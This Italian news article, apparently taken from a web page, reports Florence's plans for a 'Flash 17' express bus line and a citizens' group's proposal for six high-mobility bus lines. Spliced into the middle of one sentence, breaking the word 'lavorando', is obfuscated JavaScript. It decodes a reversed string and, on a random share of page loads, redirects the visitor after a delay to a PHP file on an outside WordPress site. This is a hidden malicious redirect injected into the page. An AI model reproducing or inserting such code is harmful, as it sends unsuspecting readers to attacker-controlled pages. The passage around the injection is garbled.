LAM, spostarsi in un flash

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A Roma, come a Prato, esempio a noi più vicino, funzionano già. Sono le LAM, linee ad alta mobilità, autobus che consentono spostamenti urbani più rapidi. Non perché superano i limiti di velocità, ma perché effettuano un numero minore di fermate.
Muoversi in città in minor tempo con i mezzi pubblici è dunque possibile e tra poco lo sarà anche a Firenze. L’amministrazione comunale sta infatti lavor (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando alla costruzione della linea “Flash 17”, sullo stesso tragitto del 17 (o quasi), 9 chilometri e mezzo di itinerario (poco più di 4 km per direzione fra il capolinea di viale Verga e i viali di circonvallazione) che presenteranno una parte di carreggiata protetta e riservata esclusivamente al mezzo pubblico. I lavori però inizieranno soltanto a fine anno e dureranno circa sei mesi, fanno sapere da Palazzo Vecchio. Una sperimentazione che, se funzionerà, potrebbe aprire la strada a queste linee che altrove sono denominate “express”.
La sperimentazione è ispirata alla quinta delle 6 linee disegnate dalla proposta di linee ad alta mobilità presentata da Unaltracittà/Unaltromondo ed esposta da Ornella De Zordo in un colloquio con la presidente dell’ATAF Elisabetta Tesi. La Tesi, pur lamentando una carenza di fondi dell’azienda che versa in condizioni di crisi finanziaria, ha dato l’ok alla prova per la linea 17 flash. “Fa piacere constatare che la linea sembra ispirarsi alla nostra proposta di LAM 5 – ha commentato soddisfatta De Zordo – nonostante che il vicesindaco e assessore alla mobilità Matulli avesse risposto negativamente al nostro progetto, liquidando le nostre proposte come uscite estemporanee”.
Così come per le busvie previste per Novoli (i lavori sono appena terminati) e per viale Europa-viale Giannotti (pronta ad ottobre), anche per la linea Flash 17 la realizzazione di corsie riservate al trasporto pubblico comporterà dei sacrifici in termini di spazio per il traffico privato e la sosta. Sono previste alcuni cambiamenti nella viabilità delle zone interessate, ad esempio nel viale dei Mille (da viale Fanti a via Pacinotti), dove le corsie per gli autobus per i due sensi di marcia saranno collocate al centro della strada.
Adottare tutte le 6 linee LAM proposte significherebbe incidere fortemente sui 26.000-30.000 passaggi giornalieri e ridurre davvero i volumi di traffico privato sui viali e negli accessi alla città, oltre che i livelli di smog. Questo grazie a tragitti coperti da vetture ecologiche che effettuano un numero minore di fermate e si collegano ai parcheggi scambiatori, autobus urbani che garantirebbero spostamenti veloci, minime attese e certezza dei tempi di percorrenza. Tutto senza nessun tipo di trasformazione urbana e a costi irrisori, sfruttando i finanziamenti regionali già utilizzati da Prato.

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